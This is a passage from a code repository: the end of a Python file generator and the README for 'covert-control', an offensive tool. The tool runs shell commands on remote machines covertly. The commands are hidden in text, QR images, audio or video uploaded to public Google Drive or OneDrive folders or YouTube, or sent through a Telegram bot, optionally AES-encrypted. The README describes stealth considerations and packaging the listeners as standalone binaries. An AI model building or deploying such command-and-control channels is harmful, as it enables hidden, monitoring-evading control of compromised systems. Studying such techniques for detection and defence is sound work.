to generate a random key? [Y/n]") 197 | if change_key.lower() == "y" or change_key.lower() == "yes": 198 | change_aes_key() 199 | if file_type == "text" or file_type == "text_encrypted": 200 | if outputfile is None: 201 | outputfile = "test.txt" 202 | if not outputfile.endswith(".txt"): 203 | print("[-] Unexpected extension, it should be .txt") 204 | generate_textfile(file_type, outputfile, command) 205 | elif file_type == "image": 206 | if outputfile is None: 207 | outputfile = "test.png" 208 | if not outputfile.endswith(".png"): 209 | print("[-] Unexpected extension, it should be .png") 210 | generate_image("qr", outputfile, command) 211 | elif file_type == "image_encrypted": 212 | if outputfile is None: 213 | outputfile = "test.png" 214 | if not outputfile.endswith(".png"): 215 | print("[-] Unexpected extension, it should be .png") 216 | generate_image("qr_aes", outputfile, command) 217 | elif file_type == "video": 218 | if outputfile is None: 219 | outputfile = "test.avi" 220 | if not outputfile.endswith(".avi"): 221 | print("[-] Unexpected extension, it should be .avi") 222 | generate_video("qr", outputfile, temp_folder, command) 223 | elif file_type == "video_encrypted": 224 | if outputfile is None: 225 | outputfile = "test.avi" 226 | if not outputfile.endswith(".avi"): 227 | print("[-] Unexpected extension, it should be .avi") 228 | generate_video("qr_aes", outputfile, temp_folder, command) 229 | elif file_type == "audio" or file_type == "audio_encrypted": 230 | if outputfile is None: 231 | outputfile = "test.wav" 232 | if not outputfile.endswith(".wav"): 233 | print("[-] Unexpected extension, it should be .wav") 234 | generate_audio(file_type, outputfile, command) 235 | else: 236 | print("[-] Unexpected file type :(") 237 | 238 | 239 | if __name__== "__main__": 240 | main() -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # covert-control 2 | 3 | Control systems remotely by uploading files to Google Drive, OneDrive, Youtube or Telegram using Python to create the files and the listeners. It allows to create text files, images, audio or videos, with the commands in cleartext or encrypted using AES. 4 | 5 | 6 | - covert-googledrive.py - Control systems uploading files to a public folder in Google Drive. 7 | 8 | - covert-onedrive.py - Control systems uploading files to a public folder in OneDrive. 9 | 10 | - covert-youtube.py - Control systems uploading videos to Youtube (updated from [covert-tube](https://github.com/ricardojoserf/covert-tube)). 11 | 12 | - covert-telegram.py - Control systems with a Telegram bot. 13 | 14 | 15 | ### Create files to upload 16 | 17 | You can find example files in the folder [test_files](https://github.com/ricardojoserf/covert-control/tree/reduced/test_files) or create new ones with generate_file.py: 18 | 19 | ``` 20 | python3 generate_file.py -t TYPE [-o OUTPUTFILE] [-c COMMAND] [-e] 21 | ``` 22 | - -t (--type) [Required]: Types of file: "text", "image", "audio" or "video". 23 | 24 | - -o (--outputfile) [Optional]: Output file. 25 | 26 | - -c (--command) [Optional]: Command to execute. 27 | 28 | - -e (--encrypted) [Optional]: Add this flag to encrypt the command with AES. 29 | 30 | 31 | Examples: 32 | 33 | ``` 34 | python3 generate_file.py -t text -c "whoami" -o text.txt 35 | python3 generate_file.py -t text -c "whoami" -o text_encrypted.txt -e 36 | python3 generate_file.py -t audio -c "whoami" -o audio.wav 37 | python3 generate_file.py -t audio -c "whoami" -o audio_encrypted.wav -e 38 | python3 generate_file.py -t image -c "whoami" -o image.png 39 | python3 generate_file.py -t image -c "whoami" -o image_encrypted.png -e 40 | python3 generate_file.py -t video -c "whoami" -o video.avi 41 | python3 generate_file.py -t video -c "whoami" -o video_encrypted.avi -e 42 | ``` 43 | 44 | 45 | ### Configuration 46 | 47 | Common configuration values: 48 | 49 | - **data_type** (Optional. Default: "text"): 50 | 51 | | data_type | File type | Encrypted | Valid for | Extension | 52 | |---------------- |-----------|-----------|---------------------------------|-----------| 53 | | text | Text file | No | Google Drive, OneDrive | .txt | 54 | | text_encrypted | Text file | Yes | Google Drive, OneDrive | .txt | 55 | | image | Image | No | Google Drive, OneDrive | .png | 56 | | image_encrypted | Image | Yes | Google Drive, OneDrive | .png | 57 | | audio | Audio | No | Google Drive, OneDrive | .wav | 58 | | audio_encrypted | Audio | Yes | Google Drive, OneDrive | .wav | 59 | | video | Video | No | Google Drive, OneDrive, Youtube | .avi | 60 | | video_encrypted | Video | Yes | Google Drive, OneDrive, Youtube | .avi | 61 | 62 | - **delay_seconds** (Optional. Default: 300): Seconds between checks of new files uploaded to the Google Drive or OneDrive folder or new videos in the Youtube channel. 63 | 64 | - **aes_key** (Optional. Default: "covert-control21"): Key for AES encryption. 65 | 66 | - **debug** (Optional. Default: True): Print messages and timestamps in the listener or not. 67 | 68 | 69 | Specific configuration values: 70 | 71 | - **googledrive_folder**: Url of public Google Drive folder to monitor (for covert-googledrive.py). 72 | 73 | - **onedrive_folder**: Url of public OneDrive folder to monitor (for covert-onedrive.py). 74 | 75 | - **youtube_channel_id**: Youtube channel ID of the channel to monitor. You can get it from [here](https://www.youtube.com/account_advanced) (for covert-youtube.py). 76 | 77 | - **youtube_api_key**: Get an API key creating an application and generating the key in [here](https://console.cloud.google.com/apis/credentials) (for covert-youtube.py). 78 | 79 | - **telegram_token**: Bot token, create it using [BotFather](t.me/BotFather). Write "/newbot", then send a name for the bot (for example, "botname") and a username for the bot ending in "-bot" (for example, "somethingrandombot") (for covert-telegram.py). 80 | 81 | - **telegram_username**: Specify a Telegram username so it only executes commands received from this user (without "@"). 82 | 83 | 84 | -------------------------------------------------------------------------------------- 85 | 86 | # Google Drive 87 | 88 | It allows to execute commands uploading text files, images, audio and videos, unencrypted or encrypted with AES. The optional input argument is the public folder url, which can be also configured in config.py: 89 | 90 | 91 | ``` 92 | python3 covert-googledrive.py [FOLDER_URL] 93 | ``` 94 | 95 | The listener will check the Google Drive folder every 300 seconds by default (can be updated in *config.py*). In this case a video, "video.avi", is uploaded with the command in the QR of the video: 96 | 97 | ![img1](https://raw.githubusercontent.com/ricardojoserf/ricardojoserf.github.io/master/images/covert-control/image1.png) 98 | 99 | After finding there is a new file uploaded to the folder, it is downloaded, processed and the commands are executed: 100 | 101 | ![img2](https://raw.githubusercontent.com/ricardojoserf/ricardojoserf.github.io/master/images/covert-control/image2.png) 102 | 103 | 104 | -------------------------------------------------------------------------------------- 105 | 106 | # Onedrive 107 | 108 | It allows to execute commands uploading text files, images, audio and videos, unencrypted or encrypted with AES. The optional input argument is the public folder url, which can be also configured in config.py: 109 | 110 | 111 | ``` 112 | python3 covert-onedrive.py [FOLDER_URL] 113 | ``` 114 | 115 | The listener will check the OneDrive folder every 300 seconds by default (this can be updated in *config.py*). In this case an audio, "audio_encrypted.wav", is uploaded with the command encrypted with AES: 116 | 117 | ![img3](https://raw.githubusercontent.com/ricardojoserf/ricardojoserf.github.io/master/images/covert-control/image3.png) 118 | 119 | After finding there is a new file uploaded to the folder, it is downloaded, processed and the commands are executed: 120 | 121 | ![img4](https://raw.githubusercontent.com/ricardojoserf/ricardojoserf.github.io/master/images/covert-control/image4.png) 122 | 123 | 124 | **NOTE**: This will only work if you do not delete any file in the folder, if you do it you must create a new one. It could be possible to implement it to work even after deleting files, but it would be necessary to create many requests and would be less stealthy. 125 | 126 | -------------------------------------------------------------------------------------- 127 | 128 | # Youtube 129 | 130 | It allows to execute commands uploading videos, unencrypted or encrypted with AES. The optional input arguments are the Youtube channel ID to monitor and the API key, which can be also configured in config.py: 131 | 132 | ``` 133 | python3 covert-youtube.py [CHANNEL_ID] [API_KEY] 134 | ``` 135 | 136 | The listener will check the Youtube channel every 300 seconds by default (this can be updated in *config.py*). First the video is uploaded: 137 | 138 | ![img5](https://raw.githubusercontent.com/ricardojoserf/ricardojoserf.github.io/master/images/covert-control/image5.png) 139 | 140 | After finding there is [a new video in the channel](https://www.youtube.com/watch?v=4hk2g41HyWI), it is downloaded, processed and the commands are executed: 141 | 142 | ![img6](https://raw.githubusercontent.com/ricardojoserf/ricardojoserf.github.io/master/images/covert-control/image6.png) 143 | 144 | 145 | -------------------------------------------------------------------------------------- 146 | 147 | # Telegram 148 | 149 | Control systems remotely with a Telegram bot. This option does not allow to upload files, but it is possible to send the commands in cleartext ("/cmd") or encrypted with AES ("/encrypted"). The first optional input argument is the bot token, which can be also configured in config.py; the second one is used to configure a single Telegram user who can send commands to the bot (without "@"): 150 | 151 | ``` 152 | python3 covert-telegram.py [BOT_TOKEN] [TELEGRAM_USER] 153 | ``` 154 | 155 | The listener will check the commands in the chat and show the output: 156 | 157 | ``` 158 | /cmd CLEARTEXT_COMMAND 159 | /encrypted AES_ENCRYPTED_COMMAND 160 | ``` 161 | 162 | ![img7](https://raw.githubusercontent.com/ricardojoserf/ricardojoserf.github.io/master/images/covert-control/image7.png) 163 | 164 | 165 | -------------------------------------------------------------------------------------- 166 | 167 | # Installation 168 | 169 | ``` 170 | sudo apt install libzbar0 171 | pip install bs4 Pillow opencv-python pyqrcode pypng pyzbar youtube_dl pytesseract python-telegram-bot requests argparse pycryptodome 172 | git clone https://github.com/ricardojoserf/covert-control && cd covert-control/ 173 | ``` 174 | 175 | ### Creating standalone binaries 176 | 177 | ``` 178 | pyinstaller --onefile covert-googledrive.py 179 | pyinstaller --onefile covert-onedrive.py 180 | pyinstaller --onefile covert-telegram.py 181 | pyinstaller --onefile covert-youtube.py 182 | rm -rf build 183 | rm *spec 184 | ls dist/ 185 | ``` 186 | 187 | --------------------------------------------------------------------------------